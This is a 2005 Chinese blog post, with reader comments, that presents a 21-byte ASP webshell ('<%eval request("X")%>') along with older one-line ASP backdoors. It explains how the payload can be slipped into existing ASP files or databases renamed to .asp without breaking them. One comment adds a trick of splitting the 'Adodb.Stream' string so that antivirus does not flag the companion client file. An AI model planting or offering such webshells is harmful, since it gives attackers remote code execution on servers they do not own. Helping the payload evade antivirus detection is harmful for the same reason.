lake2的专栏

千秋邈矣独留我,百战归来再读书

原创 更小的asp后门收藏

新一篇: 《改mdb为asp所带来的灾难》之狗尾续貂 | 旧一篇: 离开也是新的开始


    上回在一个论坛看到有人问服务端限制提交数据为16字节能不能写个webshell到改为asp格式的数据库,所以就想了想,发现了这个更小的后门 :-)

    你一定见过冰狐浪子的asp后门吧,呵呵,他的后门号称“最小的asp后门”,所以偶的这个只好是“更小的”了。

    废话少说,先看看他的代码:

javascript下的<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>

vbscript下的<%Execute Request("?")%>

    第一个太长不说了;第二个在实际使用中由于execute函数的参数为空时会产生错误必须加上容错或者条件判断句所以会多出很多字节出来。

    那天看VBScript参考手册时发现原来vbs里也有eval函数,其作用是“计算一个表达式的值并返回结果”。看它的描述好像是不会执行代码的。“尽信书不如无书”,所以不管它试试再说。

    新建一个asp文件内容为“<%eval("response.write(""lake2"")")%>”,这是调用eval函数但忽略其返回值(实际上这里返回值为空)。执行之,哈哈,response.write语句执行了!原来eval像execute一样可以执行一个或多个指定的语句。但是eval函数参数为空时并不会出错,所以你可以放心的把“<%eval request("X")%>”插入到asp文件中而不必担心破坏原有asp文件的执行。

    剩下的事就是用HTML写个客户端,简单得等同于体力活了。不过需要注意提交的代码里的回车换行符用要&vbcrlf&替换掉——eval可是不认回车和冒号分隔符的哦,这也是它与execute的不同之处。

    虽然这个后门更小些,不过一般情况下execute已经足够了;这个后门加上asp标识符共有21个字节,不知道是不是asp后门的极限了呢?

    2005-3-8

发表于 @ 2005年03月20日 12:10:00|评论(loading...)|编辑

新一篇: 《改mdb为asp所带来的灾难》之狗尾续貂 | 旧一篇: 离开也是新的开始

评论

#kEvin1986 发表于2005-03-20 22:43:00  IP: 61.153.242.*
vbs 也就eval...PF一下....我怎么就没看见?!
#日光海岸 发表于2005-03-23 14:46:00  IP: 222.92.65.*
呵呵,真是想的出来。
#Bluer 发表于2005-06-08 21:10:00  IP: 61.186.252.*
useful Tec....
#cn 发表于2006-01-06 01:08:00  IP: 221.172.22.*
lake2,可不可守恒一个未范的客户端,我弄了一个晚上都是不行
#清风剑客 发表于2006-04-26 11:09:00  IP: 59.52.202.*
是不是必须连接数据库才行啊。。。。
#freejanker 发表于2007-03-13 17:10:23  IP: 202.105.100.*
你好,刚发现个问题。
http://www.0x54.org/lake2/program/lake2eval.htm
里面的edit.htm需要修改一下:
StrResult=StrResult&theFile.ReadAll()
改成
do until theFile.atendofstream:StrResult=StrResult&theFile.readline:loop
如果打开的文件为空,就会报错。
还有xml.htm这个文件,会报毒,把脚本处理下比较好。
CreateObject(""A"+"d"+"o"+"d"+"b"+".S"+"tream"")
发表评论  


当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
Csdn Blog version 3.1a
Copyright © lake2